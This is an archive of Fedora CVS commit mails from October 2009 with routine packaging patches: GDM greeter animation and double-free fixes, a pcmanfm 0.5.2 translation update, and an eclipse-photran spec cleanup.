>From a31d6dd70213fd3ab8572da2923b99fcbe5449a6 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 14:47:45 -0400
Subject: [PATCH 5/6] Drop checks for growing too far

We're now very exact about where to grow so we don't need it.
---
 gui/simple-greeter/gdm-chooser-widget.c |   16 ----------------
 1 files changed, 0 insertions(+), 16 deletions(-)

diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
index 4df03a6..6c29d23 100644
--- a/gui/simple-greeter/gdm-chooser-widget.c
+++ b/gui/simple-greeter/gdm-chooser-widget.c
@@ -848,28 +848,12 @@ on_grow_animation_step (GdmScrollableWidget *scrollable_widget,
         number_of_visible_rows = gtk_tree_model_iter_n_children (GTK_TREE_MODEL (widget->priv->model_sorter), NULL);
         number_of_on_screen_rows = get_number_of_on_screen_rows (widget);
 
-        if (number_of_on_screen_rows >= number_of_visible_rows) {
-                gdm_scrollable_widget_stop_sliding (scrollable_widget);
-                return;
-        }
-
         *new_height = GTK_BIN (scrollable_widget)->child->requisition.height;
 }
 
 static void
 start_grow_animation (GdmChooserWidget *widget)
 {
-        int number_of_visible_rows;
-        int number_of_rows;
-
-        number_of_visible_rows = gtk_tree_model_iter_n_children (GTK_TREE_MODEL (widget->priv->model_sorter), NULL);
-        number_of_rows = gtk_tree_model_iter_n_children (GTK_TREE_MODEL (widget->priv->list_store), NULL);
-
-        if (number_of_visible_rows >= number_of_rows) {
-               on_grow_animation_complete (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget), widget);
-               return;
-        }
-
         set_inactive_items_visible (widget, TRUE);
 
         gdm_scrollable_widget_slide_to_height (GDM_SCROLLABLE_WIDGET (widget->priv->scrollable_widget),
-- 
1.6.5.1


>From f685f9fe038d891026fce69a47a7ab7c3e438d37 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Fri, 30 Oct 2009 16:44:29 -0400
Subject: [PATCH 6/6] Compute needs-scrollbar logic differently

This way is a little clearer to read and seems to work
around a bug where the scrollbar gets shown briefly at
the end of an animation.
---
 gui/simple-greeter/gdm-scrollable-widget.c |   16 +++++++++++++---
 1 files changed, 13 insertions(+), 3 deletions(-)

diff --git a/gui/simple-greeter/gdm-scrollable-widget.c b/gui/simple-greeter/gdm-scrollable-widget.c
index 6d9dc83..d55013d 100644
--- a/gui/simple-greeter/gdm-scrollable-widget.c
+++ b/gui/simple-greeter/gdm-scrollable-widget.c
@@ -252,7 +252,7 @@ gdm_scrollable_widget_animation_stop (GdmScrollableWidgetAnimation *animation)
 static gboolean
 gdm_scrollable_widget_needs_scrollbar (GdmScrollableWidget *widget)
 {
-        GtkAdjustment *adjustment;
+        gboolean needs_scrollbar;
 
         if (widget->priv->scrollbar == NULL) {
                 return FALSE;
@@ -266,9 +266,19 @@ gdm_scrollable_widget_needs_scrollbar (GdmScrollableWidget *widget)
                 return FALSE;
         }
 
-        adjustment = gtk_range_get_adjustment (GTK_RANGE (widget->priv->scrollbar));
+        if (GTK_BIN (widget)->child != NULL) {
+                GtkRequisition child_requisition;
+                int available_height;
+
+                gtk_widget_get_child_requisition (GTK_BIN (widget)->child,
+                                                  &child_requisition);
+                available_height = GTK_WIDGET (widget)->allocation.height;
+                needs_scrollbar = child_requisition.height > available_height;
+        } else {
+                needs_scrollbar = FALSE;
+        }
 
-        return adjustment->upper - adjustment->lower > adjustment->page_size;
+        return needs_scrollbar;
 }
 
 static void
-- 
1.6.5.1



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.513
retrieving revision 1.514
diff -u -p -r1.513 -r1.514
--- gdm.spec	29 Oct 2009 05:11:07 -0000	1.513
+++ gdm.spec	30 Oct 2009 21:09:09 -0000	1.514
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 16%{?dist}
+Release: 17%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -106,6 +106,7 @@ Patch22: fix-timer.patch
 Patch23: fix-na-tray.patch
 Patch24: fix-computer-info.patch
 Patch25: fix-run-dir-permissions.patch
+Patch26: make-user-list-animation-smoother.patch
 
 Patch97: gdm-multistack.patch
 # Fedora-specific
@@ -157,6 +158,7 @@ The GDM fingerprint plugin provides func
 %patch23 -p1 -b .fix-na-tray
 %patch24 -p1 -b .fix-computer-info
 %patch25 -p1 -b .fix-run-dir-permission
+%patch26 -p1 -b .make-user-list-animation-smoother
 
 %patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
@@ -413,6 +415,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 30 2009 Ray Strode <rstrode at redhat.com> 2.28.1-17
+- Make the user list slide animation smoother
+
 * Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 2.28.1-16
 - Shrink autologin timer
 - Make language dialog not double spaced



From rstrode at fedoraproject.org  Fri Oct 30 21:16:35 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 30 Oct 2009 21:16:35 +0000 (UTC)
Subject: rpms/gdm/F-11 fix-double-free.patch,NONE,1.1 gdm.spec,1.475,1.476
Message-ID: <20091030211635.24DC711C00E8@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2125

Modified Files:
	gdm.spec 
Added Files:
	fix-double-free.patch 
Log Message:
- Fix double free (bug 512944)


fix-double-free.patch:
 gdm-greeter-login-window.c |    9 +++++++++
 1 file changed, 9 insertions(+)

--- NEW FILE fix-double-free.patch ---
commit a1835572951be24cdaa15496708d502ef90e29ff
Author: Ray Strode <rstrode at redhat.com>
Date:   Wed Oct 28 11:13:10 2009 -0400

    Prevent start session signal handler from getting called multiple times
    
    It was causing a double free.

diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
index 4991cb1..4e147ea 100644
--- a/gui/simple-greeter/gdm-greeter-login-window.c
+++ b/gui/simple-greeter/gdm-greeter-login-window.c
@@ -908,8 +908,17 @@ on_ready_to_start_session (GdmGreeterLoginWindow *login_window,
                            GParamSpec            *param_spec,
                            char                  *service_name)
 {
+        if (!login_window->priv->is_interactive) {
+                return;
+        }
+
         gdm_greeter_login_window_start_session_when_ready (login_window, service_name);
         g_free (service_name);
+
+        if (login_window->priv->start_session_handler_id > 0) {
+                g_signal_handler_disconnect (login_window, login_window->priv->start_session_handler_id);
+                login_window->priv->start_session_handler_id = 0;
+        }
 }
 
 static void


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-11/gdm.spec,v
retrieving revision 1.475
retrieving revision 1.476
diff -u -p -r1.475 -r1.476
--- gdm.spec	27 Jul 2009 14:30:37 -0000	1.475
+++ gdm.spec	30 Oct 2009 21:16:32 -0000	1.476
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.26.1
-Release: 13%{?dist}
+Release: 14%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -106,6 +106,9 @@ Patch21: xdmcp-use-after-free.patch
 # fixed upstream, rh 502778
 Patch22: gdm-2.26.0-fix-lang-regex.patch
 
+# http://bugzilla.redhat.com/512944
+Patch23: fix-double-free.patch
+
 # Fedora-specific
 Patch99: gdm-2.23.1-fedora-logo.patch
 
@@ -152,6 +155,7 @@ The GDM fingerprint plugin provides func
 %patch20 -p1 -b .session-client
 %patch21 -p1 -b .xdmcp-use-after-free
 %patch22 -p1 -b .fix-lang-regex
+%patch23 -p1 -b .fix-double-free
 
 %patch99 -p1 -b .fedora-logo
 
@@ -393,6 +397,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 30 2009 Ray Strode <rstrode at redhat.com> 2.26.1-14
+- Fix double free (bug 512944)
+
 * Fri Jun 26 2009 Ray Strode <rstrode at redhat.com> - 1:2.26.1-13
 - Make xguest work (bug 505193)
 



From cwickert at fedoraproject.org  Fri Oct 30 21:27:17 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 21:27:17 +0000 (UTC)
Subject: rpms/pcmanfm/F-12
	pcmanfm-0.5.2-remove-invalid-trailing-newline.patch, 
	NONE, 1.1 pcmanfm-0.5.2-update-translations.patch, NONE,
	1.1 .cvsignore, 1.20, 1.21 pcmanfm.spec, 1.31, 1.32 sources,
	1.20, 1.21
Message-ID: <20091030212717.E6F5511C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/pcmanfm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4671

Modified Files:
	.cvsignore pcmanfm.spec sources 
Added Files:
	pcmanfm-0.5.2-remove-invalid-trailing-newline.patch 
	pcmanfm-0.5.2-update-translations.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.5.2-1
- Update tp 0.5.2 (fixes sourceforge bug 2883172)


pcmanfm-0.5.2-remove-invalid-trailing-newline.patch:
 ca.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pcmanfm-0.5.2-remove-invalid-trailing-newline.patch ---
--- trunk/po/ca.po	2009/10/01 12:09:33	902
+++ trunk/po/ca.po	2009/10/25 21:16:11	911
@@ -301,7 +301,7 @@
 "Des de fa una setmana\n"
 "Des de fa un mes\n"
 "Des de fa un any\n"
-"Dins el rang de dates seleccionat\n"
+"Dins el rang de dates seleccionat"
 
 #: ../data/ui/find-files.glade.h:15
 msgid "Audio Files (mp3, ogg,...)"

pcmanfm-0.5.2-update-translations.patch:
 POTFILES.in |    6 
 af.po       |   46 +++---
 ar.po       |   51 ++++--
 bg.po       |  179 +++++++++---------------
 bn_IN.po    |   51 ++++--
 ca.po       |   79 +++++-----
 cs.po       |   51 ++++--
 da.po       |   51 ++++--
 de.po       |   51 ++++--
 el.po       |   51 ++++--
 es.po       |   54 ++++---
 et.po       |   51 ++++--
 eu.po       |   51 ++++--
 fa.po       |   48 ++++--
 fi.po       |   51 ++++--
 fr.po       |   56 ++++---
 gl.po       |  443 +++++++++++++++++++++++++++++++++---------------------------
 he.po       |   62 +++++---
 hr.po       |   46 +++---
 hu.po       |   51 ++++--
 id.po       |   51 ++++--
 it.po       |   57 ++++---
 ja.po       |   51 ++++--
 km.po       |   51 ++++--
 ko.po       |   51 ++++--
 lt.po       |   61 ++++----
 ml.po       |   48 ++++--
 ms.po       |   51 ++++--
 nb.po       |   51 ++++--
 nl.po       |   51 ++++--
 nn.po       |   51 ++++--
 pl.po       |   54 ++++---
 ps.po       |   48 ++++--
 pt.po       |   51 ++++--
 pt_BR.po    |   51 ++++--
 ru.po       |   51 ++++--
 sk.po       |  242 +++++++++++++++++---------------
 sl.po       |   51 ++++--
 sr.po       |   51 ++++--
 sv.po       |   57 ++++---
 tr.po       |   51 ++++--
 uk.po       |   54 ++++---
 ur.po       |   51 ++++--
 ur_PK.po    |   51 ++++--
 vi.po       |   48 ++++--
 zh_CN.po    |   52 ++++---
 zh_TW.po    |   51 ++++--
 47 files changed, 1863 insertions(+), 1254 deletions(-)

--- NEW FILE pcmanfm-0.5.2-update-translations.patch ---
diff -dur pcmanfm-0.5.2/po/af.po pcmanfm/po/af.po
--- pcmanfm-0.5.2/po/af.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/af.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PACKAGE VERSION\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "Last-Translator: FULL NAME <EMAIL at ADDRESS>\n"
 "Language-Team: LANGUAGE <LL at li.org>\n"
@@ -122,28 +122,23 @@
 msgid "Move _Up"
 msgstr ""
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr ""
-
-#. Processing: <Name of currently proccesed file>
-#. Processing:
 #. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+msgid "<b>Processing:</b>"
 msgstr ""
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+msgid "<b>Progress:</b>"
 msgstr ""
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
+#: ../data/ui/file_operation.glade.h:5
+msgid "<b>To:</b>"
+msgstr ""
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
 msgstr ""
 
 #: ../data/ui/file_properties.glade.h:1
@@ -1199,6 +1194,23 @@
 msgid "Changing Properties"
 msgstr ""
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr ""
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr ""
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr ""
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr ""
diff -dur pcmanfm-0.5.2/po/ar.po pcmanfm/po/ar.po
--- pcmanfm-0.5.2/po/ar.po	2009-10-25 16:00:24.000000000 +0100
+++ pcmanfm/po/ar.po	2009-10-30 20:45:42.000000000 +0100
@@ -4,7 +4,7 @@
 msgstr ""
 "Project-Id-Version: \n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-10-22 23:44+0200\n"
 "Last-Translator: Ahmad Farghal <ahmad.farghal at gmail.com>\n"
 "Language-Team: doc at arabeyes.org\n"
@@ -143,29 +143,27 @@
 msgid "Move _Up"
 msgstr "???? ??_???"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "?????..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "????????:"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "??????:"
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "???:"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>????????:</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "?????..."
 
 #: ../data/ui/file_properties.glade.h:1
 msgid "<b>File Type:</b>"
@@ -1278,6 +1276,23 @@
 msgid "Changing Properties"
 msgstr "???? ???????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "???:"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "????????:"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "??????:"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "????? ????????"
diff -dur pcmanfm-0.5.2/po/bg.po pcmanfm/po/bg.po
--- pcmanfm-0.5.2/po/bg.po	2009-10-25 16:00:24.000000000 +0100
+++ pcmanfm/po/bg.po	2009-10-30 20:45:42.000000000 +0100
@@ -7,10 +7,11 @@
 msgstr ""
 "Project-Id-Version: pcmanfm\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-10-23 18:34+0200\n"
 "Last-Translator: Rossen Karpuzov <gustav at cointech.net>\n"
-"Language-Team: Mandriva User Group - Bulgaria <mandriva-bg at googlegroups.com>\n"
+"Language-Team: Mandriva User Group - Bulgaria <mandriva-bg at googlegroups."
+"com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
@@ -77,7 +78,6 @@
 "by hand:"
 msgstr ""
 "???? ???????? ???????? ?? ??????? ?????? ??? ???????? ????????? ??? ?? ????: "
-""
 
 #: ../data/ui/appchooserdlg.glade.h:5
 msgid "Set selected application to default action"
@@ -128,33 +128,27 @@
 msgid "Move _Up"
 msgstr "??????????? _??????"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2
-#: ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "??????????..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4
-#: ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
[...5440 lines suppressed...]
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
+#: ../data/ui/file_operation.glade.h:5
+msgid "<b>To:</b>"
+msgstr ""
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
 msgstr ""
 
 #: ../data/ui/file_properties.glade.h:1
@@ -1199,6 +1194,23 @@
 msgid "Changing Properties"
 msgstr ""
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr ""
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr ""
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr ""
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr ""
diff -dur pcmanfm-0.5.2/po/zh_CN.po pcmanfm/po/zh_CN.po
--- pcmanfm-0.5.2/po/zh_CN.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/zh_CN.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PCMan File Manager 0.1\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-06-05 22:57+0800\n"
 "Last-Translator: Careone <zzbusagain at yahoo.com.cn>\n"
 "Language-Team: zh_CN\n"
@@ -129,29 +129,28 @@
 msgid "Move _Up"
 msgstr "????(_U)"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "???..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "?????"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "???"
 
+#
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "??"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>???</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "???..."
 
 #
 #: ../data/ui/file_properties.glade.h:1
@@ -1283,6 +1282,23 @@
 msgid "Changing Properties"
 msgstr "????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "??"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "?????"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "???"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "???????"
diff -dur pcmanfm-0.5.2/po/zh_TW.po pcmanfm/po/zh_TW.po
--- pcmanfm-0.5.2/po/zh_TW.po	2009-10-22 22:07:54.000000000 +0200
+++ pcmanfm/po/zh_TW.po	2009-10-30 20:45:42.000000000 +0100
@@ -8,7 +8,7 @@
 msgstr ""
 "Project-Id-Version: PCMan File Manager 0.1\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-09-28 13:07+0200\n"
+"POT-Creation-Date: 2009-10-26 16:22+0100\n"
 "PO-Revision-Date: 2009-07-26 10:53+0200\n"
 "Last-Translator: ??? <timloo0710 at gmail.com>\n"
 "Language-Team: zh_TW <i18n-translation at lists.linux.net.cn>\n"
@@ -143,29 +143,27 @@
 msgid "Move _Up"
 msgstr "??(_U)"
 
-#. Preparing to do some file operation (Copy, Move, Delete...)
-#: ../data/ui/file_operation.glade.h:2 ../src/ptk/ptk-file-task.c:176
-msgid "Preparing..."
-msgstr "???..."
-
 #. Processing: <Name of currently proccesed file>
-#. Processing:
-#. Processing: <Name of currently proccesed file>
-#: ../data/ui/file_operation.glade.h:4 ../src/ptk/ptk-file-task.c:169
-msgid "Processing:"
+#: ../data/ui/file_operation.glade.h:2
+#, fuzzy
+msgid "<b>Processing:</b>"
 msgstr "?????"
 
-#. Progress:
-#: ../data/ui/file_operation.glade.h:5 ../src/ptk/ptk-file-task.c:184
-msgid "Progress:"
+#: ../data/ui/file_operation.glade.h:3
+#, fuzzy
+msgid "<b>Progress:</b>"
 msgstr "???"
 
 #. To: <Destination folder> ex. Copy file to..., Move file to...etc.
-#. To: <Destination folder>
-#. ex. Copy file to..., Move file to...etc.
-#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:154
-msgid "To:"
-msgstr "??"
+#: ../data/ui/file_operation.glade.h:5
+#, fuzzy
+msgid "<b>To:</b>"
+msgstr "<b>???</b>"
+
+#. Preparing to do some file operation (Copy, Move, Delete...)
+#: ../data/ui/file_operation.glade.h:7 ../src/ptk/ptk-file-task.c:176
+msgid "Preparing..."
+msgstr "???..."
 
 #: ../data/ui/file_properties.glade.h:1
 msgid "<b>File Type:</b>"
@@ -1265,6 +1263,23 @@
 msgid "Changing Properties"
 msgstr "??????"
 
+#. To: <Destination folder>
+#. ex. Copy file to..., Move file to...etc.
+#: ../src/ptk/ptk-file-task.c:154
+msgid "To:"
+msgstr "??"
+
+#. Processing:
+#. Processing: <Name of currently proccesed file>
+#: ../src/ptk/ptk-file-task.c:169
+msgid "Processing:"
+msgstr "?????"
+
+#. Progress:
+#: ../src/ptk/ptk-file-task.c:184
+msgid "Progress:"
+msgstr "???"
+
 #: ../src/ptk/ptk-file-task.c:320
 msgid "Cancel the operation?"
 msgstr "???????"


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	3 Jun 2009 19:31:59 -0000	1.20
+++ .cvsignore	30 Oct 2009 21:27:16 -0000	1.21
@@ -1 +1 @@
-pcmanfm-0.5.1.tar.bz2
+pcmanfm-0.5.2.tar.bz2


Index: pcmanfm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/F-12/pcmanfm.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- pcmanfm.spec	24 Jul 2009 19:33:32 -0000	1.31
+++ pcmanfm.spec	30 Oct 2009 21:27:16 -0000	1.32
@@ -2,8 +2,8 @@
 %define		enable_hal	1
 
 Name:		pcmanfm
-Version:	0.5.1
-Release:	2%{?dist}
+Version:	0.5.2
+Release:	1%{?dist}
 Summary:	Extremly fast and lightweight file manager
 
 Group:		User Interface/Desktops
@@ -12,6 +12,11 @@ URL:		http://pcmanfm.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/pcmanfm/%{name}-%{version}.tar.bz2
 Patch0:		pcmanfm-0.5-kill-find-immediately.patch
 Patch1:		pcmanfm-0.5-icon-fallback.patch
+# http://pcmanfm.svn.sourceforge.net/viewvc/pcmanfm/trunk/po/ca.po?r1=902&r2=911
+# without this build will fail due to an invalid po file
+Patch2:		pcmanfm-0.5.2-remove-invalid-trailing-newline.patch
+# udate translations from svn rev 918 to fix untranslated strings introduced in 0.5.2
+Patch3:		pcmanfm-0.5.2-update-translations.patch
 # Sent upstream (sf bug 2313286)
 Patch10:	pcmanfm-0.5-exec-from-non-terminal.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -33,6 +38,8 @@ which features tabbed browsing and user-
 %prep
 %setup -q
 %patch0 -p1 -b .search_hang
+%patch2 -p1 -b .invalid
+%patch3 -p1 -b .updated
 %patch10 -p1 -b .non_terminal
 
 %if 0%{?fedora} >= 10 && 0
@@ -137,6 +144,9 @@ exit 0
 %{_datadir}/mime/packages/*.xml
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.5.2-1
+- Update tp 0.5.2 (fixes sourceforge bug 2883172)
+
 * Sat Jul 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.1-2
 - F-12: Mass rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanfm/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	3 Jun 2009 19:31:59 -0000	1.20
+++ sources	30 Oct 2009 21:27:16 -0000	1.21
@@ -1 +1 @@
-72daf7c19c66d365b000170d7b254f40  pcmanfm-0.5.1.tar.bz2
+750f89cbe7496e5f4c09e4c5a95dec6e  pcmanfm-0.5.2.tar.bz2



From orion at fedoraproject.org  Fri Oct 30 22:28:58 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 22:28:58 +0000 (UTC)
Subject: rpms/eclipse-photran/devel eclipse-photran.spec,1.11,1.12
Message-ID: <20091030222858.EA48D11C00E8@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/eclipse-photran/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19660

Modified Files:
	eclipse-photran.spec 
Log Message:
* Fri Oct 30 2009 Orion Poplawski <orion at cora.nwra.com> - 5.0.0-0.2.200910081739
- Cleanup spec headers
- Drop gcj support
- Add needed Requires



Index: eclipse-photran.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-photran/devel/eclipse-photran.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- eclipse-photran.spec	14 Oct 2009 16:04:41 -0000	1.11
+++ eclipse-photran.spec	30 Oct 2009 22:28:57 -0000	1.12
@@ -1,40 +1,34 @@
-%define gcj_support             1
 %define major                   5
 %define minor                   0       
 %define patch                   0       
 %define majmin                  %{major}.%{minor}
 %define eclipse_base            %{_libdir}/eclipse
 
-Summary:        Eclipse Fortran Development Tools (Photran) plugin
 Name:           eclipse-photran
 Version:        %{majmin}.%{patch}
-Release:        0.1.200910081739%{?dist}
-License:        EPL
+Release:        0.2.200910081739%{?dist}
+Summary:        Eclipse Fortran Development Tools (Photran) plugin
+
 Group:          Development/Tools
+License:        EPL
 URL:            http://www.eclipse.org/photran
-Requires:       eclipse-platform
-
 # The following tarball was generated by the makesource.sh script
-Source0: photran-v200910081739.tar.gz
-Source1: makesource.sh
+Source0:        photran-v200910081739.tar.gz
